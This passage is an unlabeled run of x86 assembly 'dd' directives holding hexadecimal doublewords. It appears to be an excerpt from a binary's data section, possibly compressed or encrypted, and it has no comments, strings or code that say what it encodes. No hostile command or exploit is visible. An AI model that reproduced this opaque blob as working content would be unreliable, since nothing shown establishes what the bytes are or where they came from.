0FD03D091h, 3004B6A0h dd 0C076B3BBh, 0F055C94h, 62C98765h, 0BAF2F880h, 0C1F9969h dd 480098A6h, 0ACF96782h, 5E680019h, 3290117h, 5179934Dh dd 589FD803h, 0A8BFE60Ah, 0AA9DE9h, 0F6790B8Bh, 423538F8h dd 9EB0A800h, 1B3B3314h, 166A0383h, 49C57F7Ah, 1066C0CDh dd 970013E9h, 0D0932B7Dh, 40D24Ah, 384F31A5h, 0A60B81Fh dd 0F20004EEh, 43114C09h, 38FFA51Ah, 0EE071B86h, 30026849h dd 2E6A3E06h, 74B75Ch, 76CC0DDDh, 1CD30Fh, 0BDBCFD50h dd 2CC9C525h, 0F1805C00h, 728BA70Dh, 0BF101C8Ah, 0F0074077h dd 3A44B5B9h, 8E000973h, 6DEBCCC8h, 0C76B3h, 220B8204h dd 0F408C5E1h, 43AEAD00h, 0A0A5AFA4h, 0E213E4BCh, 2EC1799Dh dd 38CEC39Eh, 0ACC800FDh, 0FD40BC25h, 42000139h, 5A05D171h dd 13F0E80Fh, 0A1D31Eh, 23744F16h, 2500777Ah, 8CCCC382h dd 171E3D1Dh, 433389h, 83A00E7Eh, 0B212BA0Dh, 0C008567h dd 0CA80FDE4h, 2DF90033h, 19A6F75Fh, 0DF00E95Ch, 99DCC8B5h dd 9657D6h, 4FE09D56h, 65B49FD9h, 0C6CF1000h, 91F198DAh dd 6A4A0018h, 5A60C3C0h, 0F507C50Ah, 25824F80h, 0A958E200h dd 0B0400B1h, 5F612DB7h, 0FE095992h, 40B27F42h, 0F0E78C5Ch dd 6930324h, 82C0ECA9h, 8AA840A0h, 0DA4CF500h, 9A781088h dd 26E3008Fh, 1BFDCDC3h, 0BB000A94h, 8E4F4070h, 0BCD761h dd 0AB585F5Dh, 9D05EC77h, 81ED5C3Ch, 0A2ED13Dh, 4EFC694Bh dd 2AB7034Ah, 3C189284h, 749EA6E0h, 0E57EE700h, 0BC8D987Dh dd 7A120055h, 5D680CA9h, 711E2A6Ch, 154159FFh, 0E1E0D013h dd 0FCE05871h, 0E23E0E62h, 3B20500Ch, 41E74E4Fh, 0F7A8C70Eh dd 0D98D41A0h, 0EBC1DD52h, 0B86F3C0h, 92D79F0Bh, 7ABFBB00h dd 1800EAACh, 49E0CC91h, 1ED2A93h, 81633DDh, 0F56E0AF3h dd 3FF0F7D3h, 4200104Dh, 7590A195h, 0A408C8h, 56F062FBh dd 378A0E2Ah, 0EEF1F400h, 0C73CF8A1h, 0E663005Eh, 600FAE6Dh dd 0DC123D7Dh, 4800DE01h, 4DA2E8FBh, 0B5B80B39h, 9803EA9Bh dd 0B6B0F737h, 0D701A19Ah, 947D34A0h, 4424D517h, 0EDE91D08h dd 183E3F11h, 0DD017D58h, 0DB1C166Eh, 7A48207Bh, 8D24BB07h dd 0D200201Dh, 1F028CB2h, 917850h, 869DA311h, 5C0E7B45h dd 4514610Ch, 0ED0B3A6Dh, 591480B4h, 49DC064Eh, 0A5107426h dd 0FD4B0083h, 389CD507h, 0C2A3007Eh, 4EDC4845h, 4F094D50h dd 81EA5E7Dh, 4270087Eh, 3185CCh, 0F36B2E53h, 6E0441C7h dd 0C43BD8B8h, 2700F860h, 163448EAh, 0AE186Ah, 51F547B9h dd 0EC1B587Dh, 26DD7807h, 0E887F922h, 55AD3C0h, 91940331h dd 0EFA099F2h, 0D4BB78C0h, 2983C200h, 4C23D25Ah, 0DA2D388Dh dd 8BAC9C80h, 8FEFCF6Ah, 0B60024E4h, 68FF991Bh, 0AEC132h dd 0AA4C0347h, 0C38EFA8Ah, 5304561Fh, 60512D8Fh, 18642971h dd 3CF5004Eh, 6886CF0Dh, 0BD012B43h, 0E03A3EADh, 0F6D43769h dd 95A90083h, 0F33D7806h, 0AC0086F5h, 0F7507E7h, 3A86DA0h dd 51D79CAEh, 6CC804D6h, 0E203EDFDh, 0AA340682h, 0C790D0BBh dd 0C0A010Bh, 65731692h, 6827C083h, 30C05F00h, 0A810E595h dd 600B17A7h, 9EF000A9h, 83075BF6h, 2B136609h, 0CA040075h dd 754B15B4h, 3A0F12B2h, 0EBFA0073h, 3F358F1Bh, 0CC82F506h dd 70AAB3h, 272AC6B4h, 0AB203D66h, 1C007374h, 3837B6FDh dd 3EEA732h, 0F7014E45h, 0F4A0A57Ah, 6D00FEDCh, 0F20A0C04h dd 0C8720Bh, 7DDBCD0Eh, 74669B8Ah, 825B3300h, 71F5CB62h dd 0CEF0FBEh, 8067107Ah dd 7D2670BDh, 0E401A08Ch, 0D6646CEEh, 0ECE8CE0Eh, 0DFA40137h dd 413932A7h, 6B007FFDh, 1AE09727h, 705000CAh, 0BD137CECh dd 0C8A02AEBh, 401E9A6h, 0DAF63F72h, 4ED0516Bh, 0EAA50780h dd 0D034AEDDh, 98B77D4Bh, 36C0750Fh, 9E8CE025h, 0AE3884Dh dd 9A6ADEE5h, 147839D4h, 90C56FF8h, 6459E400h, 0A5F072ADh dd 0F50EC100h, 87DE5E14h, 7ADB00EDh, 0C85C3CA8h, 0F7D55BFh dd 5153EF00h, 4EBCD017h, 0AF7A0157h, 24924358h, 0B760F8D2h dd 80716A3Eh, 62C6C53Ah, 59B7B9Dh, 0FC25BDDh, 0D58802EFh dd 0E880762Ch, 85732A4Dh, 0E66DD301h, 5F504F79h, 0CB5592E8h dd 0EA009C20h, 0A7BED7AEh, 0CBDE300Bh, 58688036h, 0E2B60460h dd 77980068h, 0A1DDECC4h, 9900AF88h, 2AAC4906h, 383CFBF1h dd 77002772h, 21CA41BCh, 510BC43Ah, 61CFFE66h, 0D47168B4h dd 0FE04EEC8h, 7DA0F76h, 65C00CCCh, 2292CBBEh, 0F2337500h dd 7B702DDBh, 8E132C1Eh, 0F4CF0180h, 701B5761h, 0B43CD58Ch dd 0F3069863h, 76B8021h, 0A964BE61h, 0D519D020h, 1CEC6C7Eh dd 80C47401h, 6F5990A7h, 0F730EFF0h, 69F7048Bh, 0D79B04C3h dd 0DE291AE0h, 0E80CDEB0h, 9027C590h, 759F7B88h, 1DEE001Ch dd 9AB01F34h, 0CC44F77Dh, 13610056h, 62EF7B07h, 2A00C067h dd 200EF978h, 58DDA6h, 5F75DB9Fh, 99712C36h, 50EA95Ch dd 0ACD14595h, 0E6259080h, 54EEFA5Fh, 4B8463h, 0A7670976h dd 8820FCBCh, 500038F8h, 0BD0F2EAFh, 3DBB61A5h, 998090C2h dd 873B68C9h, 7E040991h, 0AE4A1267h, 0BCD3C0C0h, 0EB79C6h dd 0B75CA8AFh, 0B14085DDh, 4B417200h, 1D28EA73h, 21AF0C8Ah dd 20BEFEB5h, 81094400h, 0B631F28Fh, 0E13E001Eh, 597C7479h dd 0DB005DFFh, 0F002C2E6h, 0F6B84E7h, 0B3C91A49h, 778EAB22h dd 0CDF715C0h, 618A4F00h, 241DFC47h, 0FD1A3DC8h, 0A0A73181h dd 0F4754AF9h, 0AA905484h, 3DFB010Eh, 99E140CEh, 0E668DE89h dd 4820EB5Eh, 58BF00DFh, 0A0FB458Dh, 0D2002C29h, 0C99813ECh dd 0C478CCh, 0E6C7244Eh, 70ABA08Dh, 0A9920100h, 3BF509EDh dd 0A1861633h, 8534009Bh, 0E0B15D69h, 1316BC00h, 0B4A26B53h dd 0B6902Bh, 0C09B6004h, 0CDC6D014h, 0EF0CDC03h, 0E8B9AAC2h dd 953F8Ah, 2673A0FAh, 867217B6h, 3C157D00h, 0C9483B9Bh dd 0F3CF00A5h, 492188BAh, 2F00182Dh, 0DBC12A08h, 2B73B0h dd 0A82919D3h, 8B05461Ah, 430A9600h, 0B848476Bh, 348C00C2h dd 3DF7992Dh, 0E17DD3D7h, 0E7B0F6ECh, 2BC1C500h, 0E9CC4B18h dd 0F8C300D9h, 5631EB2Fh, 3300B06Fh, 0C6738903h, 0EB3BF9Bh dd 48F0D1FAh, 45601BAEh, 0BBB48662h, 6737631Fh, 23C2C347h dd 32BF3060h, 0F4D22722h, 12900C20h, 4405526Eh, 0EB7264E8h dd 2F52CB4h, 0F774226Bh, 0FA40B906h, 0AB024475h, 0AA8CE662h dd 35FDA152h, 0B3D878D1h, 25560050h, 5E0AC1A7h, 0D7072214h dd 0B5FF795Bh, 0BEE30630h, 0E5C600A9h, 25072A4Fh, 7250405Eh dd 857D2E10h, 0F9C4D601h, 0D89EF02Ch, 7BA23370h, 509D00A0h dd 0D4427BE0h, 1F2EDB16h, 3F007017h, 8377618Bh, 0FC0F1705h dd 0B3A3005Bh, 0BF543EE2h, 0A3C65F00h, 3AEC32DAh, 74AF032Ch dd 0E22F9A22h, 0BCAC7800h, 0E4F9368Bh, 3F0900C9h, 0B0D5E3C0h dd 2300A103h, 4917C01h, 515A63h, 652CF775h, 69EC12E9h dd 1D3D409h, 8BA5005Bh, 0E0785A8h, 0F45D22EDh, 0C55AB00h dd 32006326h, 0CEC5B6F8h, 18BD8884h, 8A8A0D77h, 0A2009565h dd 6232435Fh, 27C0F8h, 531089C3h, 87EC5AD6h, 0FB604D05h dd 0BB8084C9h, 732D5869h, 33200008h, 50DE42F5h, 8D00CE46h dd 877FA931h, 8CDF56h, 3C01D7Ch, 0D8429CE2h, 72F7D000h dd 9DF0A214h, 0BE0F003Bh, 0B2EE4613h, 0BB0067ADh, 62B76A5Ch dd 1A35ECh, 61985716h, 888A810Dh, 50AA8209h, 37E0001h dd 24182Ah, 3EBB79F9h, 292D8906h, 77C50E00h, 15A4A9D7h dd 229C00E1h, 0FE815F92h, 0AF0347A1h, 0D19DA271h, 0C87EB04Ah dd 0E785C48h, 0AD531200h, 0F56A18E5h, 92314B00h, 469A8563h dd 0C70A0F28h, 29A04183h, 1B257019h, 23751801h, 0DC9E0FAh dd 1D3AD5E4h, 1E8FD7h, 0FCA51DEAh, 0A8B81924h, 0DC5E3000h dd 918A83F2h, 97FB001Ch, 3DB75DDEh, 467BE5E7h, 0AE506100h dd 0CF26F716h, 0BF4A0035h, 0E969EBCh, 13002A24h, 7A151ECh dd 0E53A27E5h, 60A390F8h, 0EC4221BDh, 9F002C70h, 17B2223Fh dd 0F0B47Eh, 0AD7FD811h, 0F878FB9Dh, 0DF08EF00h, 613D8A34h dd 8746013Fh, 0CA42A29Eh, 47388053h, 0C5842F59h, 72A000C3h dd 0A9CD5B8h, 3616A3A5h, 0FE18AB2Ah, 1EEAAE40h, 0C023B769h dd 366317EFh, 0B8037C7Fh, 8E78F828h, 0FB28004Ch, 0C1077B6h dd 0E900F17Dh, 0B06A293h, 3BDC184Ah, 33004B9Eh, 8B1D1EC8h dd 0FE00A03Dh, 9FA81099h, 5C79348h, 8DC683C0h, 8AC90B8h dd 431FEF55h, 7382CD71h, 0C01F8CB2h, 24DDF506h, 0A66878h dd 0C5C65D8Dh, 789CD3DEh, 406E00Bh, 3480FB81h, 166F52h dd 317E3B99h, 3EF635D2h, 0E8BCBD00h, 6C4539C4h, 81FB00CCh dd 60F7CA63h, 0A1E496Eh, 0C100D89Ch, 1EA8B388h, 44B8AFh dd 41A48910h, 0BD74A69h, 873C0EE8h, 8D30802Fh, 819539Dh dd 4D961718h, 0D0304043h, 745520ADh, 0E7850600h, 837AF0DBh dd 0EC6D1893h, 0E1DD9482h, 90771300h, 437EB729h, 0DB550FCFh dd 2CE001ADh, 0D3385E88h, 0E700697Bh, 0D481C32Eh, 773943h dd 0C06692E0h, 0E8EAA1F6h, 0B02558h, 9A783561h, 3D1063h dd 0A0AC4ABEh, 7C154502h, 9FC2F600h, 0D4A8DBCEh, 0AD5F00D7h dd 8BFEE9E2h, 860C1C72h, 58FF88FDh, 0F809620Bh, 0E5F0AA5h dd 0D578403Dh, 7C7F886Ah, 2A2000F3h, 0B7C3ED97h, 0E9015F4Eh dd 0F9CE8B06h, 11965072h, 3EC90CAh, 4300EBE4h, 0C902CCD8h dd 9B1921h, 0F4CAECB2h, 5D37110h, 0C6066403h, 0C8B63020h dd 1DBA5F70h, 0C475F6C1h, 0EE4C7DE0h, 86E58C00h, 343B8B9h dd 8FDE3EC5h, 1A8A8CFh, 6F0089E0h, 1EFB4225h, 7370879h dd 0B0F34B2Bh, 24D3D105h, 9C51F41Dh, 0EB78EA00h, 0CC31E70Fh dd 3490DFh, 59555C20h, 414E8EB4h, 667C7000h, 1DD0B3C6h dd 0EE300114h, 18E86A42h, 0EC7D72h, 5F0D58ACh, 12682734h dd 1002A557h, 78008568h, 0DAAC83D4h, 4C3A9AC5h, 1956802Eh dd 4D99C2DBh, 90B10129h, 70E4F549h, 38A4C543h, 0A0D500D4h dd 0EDA6F034h, 3B790083h, 77E88654h, 0BDE0FBC4h, 8C6B850Ch dd 0CFA0CEh, 0E17BEA92h, 10214705h, 74C2648h, 0C3CB698Ch dd 0B1076410h, 9CEF006Dh, 1E356EBEh, 1AE2715Eh, 80214B00h dd 24472F2Bh, 0ACAA045Ah, 0C0E81EDDh, 5CEEA03Dh, 17660900h dd 42ADC741h, 0A7B90011h, 0DE07A89Bh, 0CCFA6577h, 137146EAh dd 80BCD23Fh, 3479FD49h, 88BE3Bh, 93DE70FAh, 0DC1FEB47h dd 0BAADBC00h, 1BFDD0BDh, 0EF5F0472h, 80CB71B5h, 0F26264CDh dd 6C07B87Ch, 0E2153408h, 0F1605AA0h, 0D68B0018h, 616967F3h dd 10C016F0h, 0F4E4D2DAh, 0A0B019Fh, 0AD6A9630h, 5E8DF072h dd 8792FD38h, 0E3D57A16h, 0C0B74040h, 3C4513A6h, 6E140312h dd 7F988FD9h, 0C9001FBFh, 0BC75852Fh, 0EAC46Bh, 7DFB826Fh dd 18216A70h, 9418BF60h, 9E4293h, 22DDA795h, 0F5EFA4C6h dd 31622405h, 0D093D0F9h, 0D0204D94h, 0D80E6E00h, 24804A8Bh dd 13E03507h, 763037B4h, 36AC278h, 8C65E194h, 0B7D083E3h dd 2316BAA7h, 62001647h dd 84014630h, 0BE480061h, 0B320ECC7h, 0E0042ABh, 55E495Dh dd 1D378ABCh, 0C167083Bh, 9E6BAACh, 42A5DCC5h, 0AA003E7Bh dd 62E3FB1Fh, 3E78EB77h, 0AB3A72DAh, 5D4813h, 3F805147h dd 1604F8E8h, 0C52374EFh, 1CAD0F4h, 48FE7028h, 0C40ADC58h dd 450321D4h, 65055F2Ah, 23D1B066h, 814D039Ah, 0DB74685Eh dd 0E6B02800h, 0A9F0166Ah, 0CDB33BEEh, 0F3BC9E00h, 13446850h dd 0C880E00h, 6067EF9Bh, 0ECAC00E5h, 3765FF12h, 0A001ACDh dd 49EADB6Dh, 0CF924Eh, 0D50816E0h, 3A86E382h, 340AE500h dd 667FDE1Dh, 8AE6B0h, 9BBB7818h, 99D8A29Fh, 57B0F00h dd 0F9605FD3h, 0DD2B0053h, 3169B8B3h, 0EE028A5Dh, 17A7EDC4h dd 608C095h, 501500A1h, 26DC384Fh, 0A501478Dh, 179DEA67h dd 0FBF0EC2Ch, 2AD10075h, 0A7034DF0h, 7924DA9Ah, 0F3B989Ch dd 0C08F323Ah, 82AA92C0h, 3DA31873h, 1DB98060h, 488AA01Dh dd 0BE950140h, 182D278Eh, 907B9082h, 312972F5h, 4001026h dd 0E5A584E6h, 25820061h, 0C2EEF6DFh, 7F050556h, 0E217C552h dd 0A86AABC3h, 50E6E1h, 9DC310ACh, 41DFB99Ah, 0E3268CB0h dd 9E07B382h, 8DC3AB1Dh, 0F69A035h, 2BB43AA8h, 6CB423Fh dd 6E9A670h, 3CDF1A00h, 98208DCDh, 0A434016Dh, 596EAB51h dd 1127CF54h, 0F8CC00EAh, 60861D2Eh, 0B548E8BBh, 0F9005DAEh dd 514DEEFAh, 7A58C418h, 82690E96h, 0FF023B88h, 9240ADA2h dd 0F7F47B4Eh, 0AB268EEAh, 66031CD9h, 873344A9h, 122D1A61h dd 0DC5CEAh, 0F4641DAAh, 3C0E8FFEh, 0C135DE78h, 0CA406A76h dd 25DD80DEh, 2B1E26h, 6EDDEEE0h, 0BA2FB8AEh, 0A4261C98h dd 0A7168319h, 0B640EC5Eh, 95DA14C0h, 485B00E0h, 0BF89EB6Fh dd 0CF71B4B7h, 0CC19C9B8h, 0BC0ED10Ah, 0B6B3F8EBh, 6C251CA5h dd 74CAC433h, 1DCAC6Dh, 52C66388h, 2180E770h, 0C3070F66h dd 0E300D0B5h, 5E13F33Eh, 5988183h, 6E6D499Ch, 0F4F584F7h dd 4D39AEB4h, 0EC069637h, 40C4F90Eh, 66F53D5Fh, 0BE3C00A6h dd 6F705AB3h, 0A3F11D9h, 26939C60h, 391B7700h, 35D98CAh dd 6A80B0F4h, 0CE7D5A7Ah, 0EEDA0C00h, 9237439Eh, 118095B6h dd 290A8CA9h, 88A3642Eh, 489A803Dh, 3CC0D432h, 0A523004Fh dd 0B8DAADF9h, 0BA0053F5h, 0EFD6BC21h, 7B772F1Ch, 3E6A0080h dd 23766EE7h, 0C114704Dh, 0B05837h, 0D46FA1EDh, 0E906E2h dd 7321AD85h, 83E1C89Dh, 3990B00h, 0DEAB14CFh, 52D73A2h dd 2F50A0F6h, 50A5C7A7h, 21E3BD61h, 0EAA4C900h, 3D11834Ch dd 2D66007Ah, 3F931CF4h, 1A27F1D8h, 12C08096h, 0E4C4E041h dd 5AE30146h, 0A6848908h, 0FB5EE1F1h, 87DA983Eh, 0D9C4BAAEh dd 0A6D4CB70h, 9F3700E8h, 0A0FC9940h, 0B2008026h, 72AEE4FBh dd 7AA517E7h, 0C08B0284h, 0DE3B92BEh, 963A34D2h, 0CD2E92FBh dd 0E0C27483h, 70FC1558h, 76DF01CFh, 0C6707CBCh, 0DBB3F87Ah dd 0D69E2F09h, 917040FBh, 4BB90075h, 0DF9FA6AEh, 2D00D745h dd 49FEAB44h, 0E40B58Dh, 15B0BD9Dh, 80D62745h, 0EE11A603h dd 39CDC600h, 0A0CCDD17h, 8C74845h, 0FB3A8D00h, 0CF688AEDh dd 3DC27B07h, 45104ACAh, 1CDB1E69h, 0F4951C06h, 84A8ACB0h dd 3C80DA68h, 0F6F9134Ch, 9D2709FAh, 6C00CA1Dh, 0BDD33012h dd 0D20E0AE0h, 962C64A9h, 4FD73AC7h, 1F5C9280h, 2DD40087h dd 53A9C91Bh, 9C944A65h, 3DA5AA00h, 97D73061h, 0E63A5C96h dd 0EAC057Ch, 0D401541Dh, 0D9A6FBA2h, 0F5742C2Fh, 0D06E7F06h dd 4611623h, 9448898Ah, 20048024h, 0C8E47D80h, 54773C03h dd 0E87CA893h, 3F37B8ABh, 80D4EC8Dh, 0D18200E4h, 0A7202BF6h dd 7F3D4BE8h, 0A24005Dh, 2E5C2686h, 21E4072Ah, 66A779CCh dd 9E002875h, 0BA043C70h, 2572F4F5h, 0B84B29AEh, 9AA145E8h dd 57110C01h, 1D460A8Ah, 95C29881h, 80A93099h, 84212711h dd 3CD09E3Eh, 3D804297h, 13C1926Ch, 9500F731h, 0DD5C7A3Ch dd 14B6321h, 0A76D81E8h, 326A72F1h, 1B371DBCh, 112EB340h dd 0F4C2BBFh, 9B0D1F75h, 0C5574E60h, 900B0594h, 843749FBh dd 0FCE9E6F4h, 4B3941DFh, 0CEF5D456h, 0E6049058h, 0DC74C470h dd 0B062CE9h, 80A6C531h, 0E383650Eh, 4D1A8104h, 9CFCD1F5h dd 0CF0E0792h, 2D760C6h, 5840A6B7h, 0A058D62h, 0D9431393h dd 0EEFB1BC0h, 9DAC00C9h, 0FFC79F09h, 0BC27AA0Eh, 732C063Dh dd 0FE9B0498h, 0C01B530Bh, 0B6CEEBA8h, 1488C48h, 666F292Bh dd 183117FBh, 0F2D5820h, 30D31413h, 2B8A1FC0h, 0FB7B2635h dd 9BCF4514h, 337400F5h, 5CA38E04h, 691C3984h, 6BB57A02h dd 21C03FBAh, 0C0074AB1h, 0ADCC5480h, 272BB011h, 90D3CBFDh dd 0F00F05h, 5162645Fh, 96CCE465h, 23331505h, 2A80459Eh dd 0FAD349AFh, 63A2060Bh, 0C03B3626h, 0E7A1000h, 0D5E50FC6h dd 4AC8C0ACh, 0B779BAC8h, 141A3400h, 0C7B8C95Eh, 967F0790h dd 7015C0ABh, 0A5CCB3F8h, 0DE744513h, 3505A000h, 968150FFh dd 39F305F0h, 5770E078h, 90002B7Bh, 0C1CC5B30h, 5DC568h dd 3B064203h, 0A16B462h, 0AC47DE2Ch, 1AEAAB03h, 1839D02Fh dd 0B6690030h, 0DB595142h, 2CEA4B97h, 5F98CD00h, 963839DEh dd 0EEE6000Fh, 18B5725Bh, 7026249Bh, 659680ABh, 23281002h dd 0F20860C2h, 0B8B2C7h, 0EDEBCE7Ch, 94F87579h, 46CDA506h dd 21A291h, 42A82BD3h, 7E393280h, 0D88C3103h, 80892D79h dd 721834h, 298FBB0h, 0E53B2365h, 60F56300h, 11615D1Ah dd 80BD5BA1h, 64ED92A4h, 28B9DF00h, 25181C3Bh, 44E5C34h dd 446E7001h, 0ECEFD484h, 5F00B924h, 0F648401Ah, 11CB87h dd 375E2067h, 0EF45C6A5h, 0BB95FD12h, 2E4818C0h, 58DC0FC9h dd 22018F0Eh, 214DDDA6h, 4EA030ADh, 745F2805h, 48809EC9h dd 2EC8A161h, 1D7BF7AFh, 0C495CB98h, 0AAC1F4C0h, 59230C07h dd 5E00A10h, 7A22267h, 47BD911h, 9FA3FE38h, 1FB0E30Eh dd 9741255h, 0BB6E9900h, 6FAFDB5Dh, 15FF0188h, 0A55358D0h dd 0F01880C4h, 7E4BA28h, 54250184h, 73039517h, 562D40Ch dd 0D194E00h, 64EBC8BAh, 0F4F7F0Eh, 0CA7AE0A1h, 0A05CAB87h dd 0C2609C3Bh, 7CDE9701h, 65FFACC1h, 9805E8C8h, 0EBAA3CF2h dd 0E7E10831h, 0A612EC9Dh, 0D8F11D00h, 32DCE262h, 0BE3B00F5h dd 7488AD05h, 0BA7F6628h, 0E3ED9C03h, 6421D7h, 2F40B2B0h dd 0E1CB82C8h, 3D9B75Ch, 9FC6B413h, 0DFC2E00Fh, 49923039h dd 0FB81C1CAh, 41E9EC00h, 2F7435F1h, 0EDB1134Ch, 0DF5C0291h dd 5360645Ch, 0CA789718h, 58B33800h, 0C5981A09h, 0BE3500E0h dd 0C38BD1ADh, 0D30F62BDh, 7B5399h, 0E1D811F1h, 0B7D3F7Ah dd 20F0E600h, 0DB62508Ch, 97601700h, 8626B3A6h, 74440054h dd 0A81B4064h, 0EB2C7820h, 228248ADh, 602F49C0h, 3AE159h dd 8B6208F3h, 5F9E95D8h, 68A20700h, 0BE66D4Dh, 94E54CAAh dd 94333700h, 3147CEA1h, 48008274h, 116F16ECh, 15336F0h dd 0BDA25101h, 3434DEB3h, 0FCB0ADD4h, 4D588F0Fh, 987A837Ch dd 408ACAA2h, 1F9E964h, 136E21FBh, 0F8D3A4CFh, 7C7676CDh dd 1658E301h, 0EC1956BDh, 0EEA99460h, 4BAFE6B5h, 1374C09Eh dd 8C3BE47Ah, 0FFF6877Ch, 2FD02BA8h, 296452Ch, 39339ABAh dd 0FC60067Fh, 8807DADCh, 91C7930Eh, 8CA37290h, 0EEA60057h dd 1EA19EE6h, 0E2000169h, 0E10267BFh, 4DC8285h, 10B9C289h dd 808D0E1Ch, 766256A4h, 7109AEFh, 0B71E746Ah, 0C85029B3h dd 0D3F20CE0h, 9819FB07h dd 867073BAh, 1E6AF3F5h, 0C188DF5Ah, 8D6C3179h, 321E70D7h dd 0BB34F600h, 0B47C4FC5h, 0E9640760h, 0A056F17Eh, 93653108h dd 41494500h, 90DA89B1h, 0DF800227h, 0AE92C286h, 0B59AB880h dd 5900BC75h, 0D9B71B3Dh, 12115DF9h, 40481FA7h, 132F8500h dd 0AE3AC74Ah, 5A2380DDh, 0C33225ECh, 54FB0079h, 0C10B52D7h dd 606D9B3h, 28451169h, 0B6B402D8h, 9B8A499Fh, 70824055h dd 220703C0h, 1EA2EAB3h, 301A71F1h, 1B5E31E2h, 40CD6082h dd 286814Ch, 7DBB7546h, 0DC745FE6h, 0C407A100h, 0F6BE327h dd 4CEA9322h, 0A0888772h, 0B4311518h, 54FC5E01h, 39017A52h dd 8F3474h, 612A4216h, 0E4FB3AB5h, 48368D1Eh, 53E1DB40h dd 95CFEC05h, 9EE75480h, 0D8A8BFA8h, 8877E534h, 54379224h dd 84826F92h, 0E27056E7h, 34E8AF93h, 27028032h, 29F8FB0Ah dd 0C578E0D1h, 0C9214h, 5D73BFB4h, 33AAC0BAh, 7157FF00h dd 7A3D2898h, 1E0D7B65h, 43891A3Bh, 0C185E6C4h, 99CF5CE8h dd 0C66A4E03h, 0C8BE9450h, 2ADEA3A4h, 0D81A72h, 0DAAB04AFh dd 0BBCD2FF8h, 0A97E373Bh, 4991B448h, 0D726CE07h, 0C11BA732h dd 748B8579h, 60155194h, 80F373h, 0D23A4CAFh, 0FE5A22h dd 61206325h, 13C935Fh, 68C0F012h, 0A6868403h, 839198E8h dd 431F002Eh, 65887631h, 0E1010DB3h, 0B8804E4Bh, 2E4FC28h dd 0FD8C721Bh, 9454B864h, 0A30258A8h, 7052B731h, 0EFC03F8Ch dd 9C9F4954h, 0E0054206h, 4607A9C9h, 9630F960h, 2D60B00h dd 7F620067h, 9FE5A19Ch, 0F900FED7h, 7217F24Ah, 75FAF0ADh dd 586A006Fh, 1E7F55D5h, 0D7593141h, 5CA200A8h, 5FB43CADh dd 27E50042h, 2B5EDB93h, 0C0B88D33h, 0E8BD1207h, 0CAD09014h dd 172586F1h, 0D77EC6h, 68E15BB8h, 2D00235Ah, 7045EB0Ch dd 0E072AE1Ch, 0E0F84938h, 0C1BA0118h, 0A11DD3E8h, 7397EF88h dd 0A44088C5h, 0E3F6B0C6h, 81DE4EBCh, 0EC97C870h, 967617F1h dd 279B2200h, 8D5F7872h, 53F9091h, 6D02435Eh, 6352809Ah dd 0C1164845h, 0ECF6h, 6B32E4BEh, 7EA20BA6h, 0F8C056E0h dd 33A3F9Ah, 265E8053h, 10DEC194h, 0BE0D0011h, 36EC75F1h dd 0BCB86FA8h, 0E093C200h, 7AE56ECDh, 0B40900EBh, 1E07E698h dd 497A3999h, 31B2A81Eh, 0AF0A0C40h, 4E6813h, 0C1E4A73Ah dd 0C5648DA6h, 48BCE124h, 535A0200h, 733487h, 0DD1C04C4h dd 557B0830h, 0AB4AF002h, 487F8578h, 1CB6FD10h, 71F73039h dd 60A76841h, 0A67D9668h, 0C600B492h, 615CFF31h, 3EC5F3B8h dd 0D1805B13h, 0E07B45C3h, 972EDD12h, 5034909h, 0FFF671B8h dd 0DA479F40h, 247801E0h, 0A2C47A63h, 0C006A9Ah, 0EB59D40Bh dd 67FD00B2h, 5650FF0Ch, 0CB0B86CAh, 500EA7BCh, 7F4B0048h dd 842455BDh, 96004AFAh, 83F1E72Ah, 225E3Ah, 81698CAh dd 8D957FC6h, 929C8200h, 61B3CFEEh, 1D203AFAh, 18CBBA00h dd 0F499961Eh, 21AB3200h, 0F3400DA8h, 4D3F00F9h, 0D6834472h dd 0B13BD747h, 9801F4ACh, 26DB076Ah, 0E9D93791h, 1D47F760h dd 0CB432868h, 0ACC00A0Fh, 5B005299h, 0A876D3C0h, 18493036h dd 1C1D265Fh, 0DE008E25h, 7955D894h, 1C7BF7D2h, 0C1764C7Ah dd 43EDF454h, 3B3E10h, 280C0EC4h, 15210384h, 0C8403117h dd 60C008A2h, 0C3504EC0h, 5109A5D3h, 80D19F0Bh, 5B62AC1Bh dd 0DE661264h, 0D31C00BCh, 0D9B19870h, 0F6568500h, 0B4934C1Eh dd 3FD600E0h, 42B8BD50h, 0B001C425h, 14482468h, 2F60DB0Ah dd 2D57077Dh, 0DE81F92Ch, 7F20CEC0h, 20C791Fh, 908CC455h dd 34FE0980h, 0B4A46C96h, 9DCF6D1h, 0E0FCE74Dh, 387186F4h dd 0D280B6D3h, 2F2C1D02h, 350091B8h, 2E0B64CCh, 69AFAAh dd 744FDFC0h, 7302940Dh, 0F49A032Eh, 0AA24A800h, 3D88F18h dd 0A10214Fh, 0ADC011C4h, 55004217h, 6A51EAF5h, 0FC6C652Fh dd 0BC0A25ACh, 38C60C20h, 21C154Ah, 65802584h, 2CFBFD04h dd 4E78F4CEh, 0C4F01D8Ah, 0E43A01C9h, 0AFF01CD0h, 85404112h dd 628A7CD0h, 7D750033h, 160E63D1h, 0F3006ABAh, 0A7AEC594h dd 60ABFDD0h, 41395028h, 0BA00E325h, 6CC16285h, 0A3E183A6h dd 65187C5h, 0C4700CFFh, 37960E73h, 8E20F54Fh, 0EFD4996Dh dd 76301900h, 58837EB3h, 9C5D0007h, 77EC2936h, 4A3BA825h dd 0A7E307EBh, 0C4A0C399h, 63B50A9Eh, 4CB4C4BFh, 0ECD5EAC1h dd 0D102E137h, 0E4EE38BEh, 5C437FA2h, 8A1A4190h, 0C4839CB9h dd 0F8312067h, 14BA7FD7h, 0F0BFE89Fh, 0A66E4C02h, 0E48E93A8h dd 0DA1D68Ch, 54052C71h, 0F604B082h, 0C64094A1h, 2C3C6FDAh dd 8B64C796h, 0D203BB68h, 0C3E1D13Bh, 404A7078h, 0E93898F2h dd 539E80BCh, 55E26216h, 0E492021Bh, 6FF2D6A9h, 0F34CA8E4h dd 0DCEE0BACh, 80146589h, 0A0AD996Eh, 0DF00424Dh, 0EC21B17Ch dd 5336B5Ch, 0DAFA7A73h, 0EE14D908h, 4B5FA81Bh, 17ECEA4Ah dd 25711641h, 0B3D8C780h, 0D5BB948Eh, 0DD83DCB8h, 498CC30Bh dd 1D6440A1h, 0B0F5A193h, 0C0B85DF4h, 67F520F9h, 0E1A17FCh dd 4B8B988h, 1B4FC88Ch, 40E27F07h, 721530CCh, 0B6C9B70Dh dd 74CCB464h, 36F90024h, 0ED08E8A7h, 0F0059715h, 5BF53B54h dd 0BBE52CD0h, 3816009Fh, 0C693055Eh, 6E742CCEh, 0BCB64005h dd 